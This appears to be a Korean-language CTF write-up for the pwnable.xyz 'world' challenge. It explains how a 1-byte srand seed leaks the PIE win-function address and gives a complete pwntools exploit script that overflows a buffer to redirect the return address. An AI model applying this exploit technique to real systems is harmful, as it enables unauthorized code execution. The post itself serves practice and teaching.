pwn/pwnable.xyz

pwnable.xyz / world

lok2h4rd 2022. 5. 28. 03:22

공격 루트는 금방 알았는데 파이썬을 못해서 오래 걸렷다...

 

mitigation

 

main

srand의 seed값을 변경 기능, plaintext 암호화 기능, 암호문 출력기능이 존재한다

 

do_seed

bof가 터지고 입력한 암호문을 출력해주는 기능이 존재하지만 0x80만을 출력하기 때문에 릭이 불가능하다

하지만 do_seed함수에는 srand을 설정할 때 win함수의 1byte 값을 가지고하기 때문에 1byte srand에 해당하는 고정된 rand값을 알 수 있기 때문에 이를 릭해낼 수 있다

 

 

encryption

암호화도 단순히 입력한 문자열를 1byte씩 랜덤한 1byte와 더하는 작업을 수행한다

 

PIE가 설정된 win함수를 릭한 뒤에 다음 encryption에 쓰일 byte를 알아내어서 payload의 각 byte과 빼준 뒤 ret를 win함수로 덮었다

 

from pwn import *

#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30040)
#p = process("./world")
#gdb.attach(p)

def set_seed():
    p.recvuntil(b"> ")
    p.sendline(b"1")

def encrypt(data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"plaintext: ")
    p.sendline(data)


def print_text():
    p.recvuntil(b"> ")
    p.sendline(b"3")
    p.recvuntil(b"t: ")
    byte = int.from_bytes(p.recv(1), "big")
    return byte - 1


def find_byte(byte, rand_arr):
    i = 0
    arr = []
    while  True:
        if i > 0xff:
            return arr
        if byte == rand_arr[i][0]:
            arr.append(i)

        i += 1


def real_arr(arr, rand_arr):
    table = []
    
    for i in range(3):
        encrypt(b"\x01")
        table.append(print_text())
    
    for i in range(len(table)):
        for j in range(len(arr)):
            if table[i] != rand_arr[arr[j]][i + 1]:
                del arr[j]
                break
    return arr[0]


rand_arr = []

r = process("./random")
for i in range(0x100):
    arr = []
    for j in range(100):
        arr.append(int(r.recvline(), 16))
    rand_arr.append(arr)

r.close()




seed = 0x67
win_arr = []
win_idx = 5


for i in range(7):
    seed_arr = []
    idx = 1
    encrypt(b"\x01")
    byte = print_text()
    seed_arr = find_byte(byte, rand_arr)
    win_byte = real_arr(seed_arr, rand_arr)
    idx += 3
    print(f"win[{seed & 7}] : {hex(win_byte)}")   
    win_arr.append(win_byte)
    
    if  win_idx != -1 and rand_arr[win_byte][idx] & 7 != win_idx:
        encrypt(b"\x01")
        while True:
            idx += 1
            if rand_arr[win_byte][idx] & 7  == win_idx:
                seed = rand_arr[win_byte][idx]
                win_idx -= 1
                break
            else:
                encrypt(b"\x01")
    else:
        seed = rand_arr[win_byte][idx]
        win_idx -= 1
            
    set_seed()




encrypt(b"\x01")
byte = print_text()
seed_arr = find_byte(byte, rand_arr)
win_byte = real_arr(seed_arr, rand_arr)
idx += 4

encrypt_byte = rand_arr[win_byte][4]



payload = bytes([(0x41 - encrypt_byte) & 0xff]) * 0x98
for i in range(len(win_arr), 0, -1):
    payload += bytes([(win_arr[i - 1] - encrypt_byte) & 0xff])


encrypt(payload)
p.recvuntil(b"> ")
p.sendline(b"0")

p.interactive()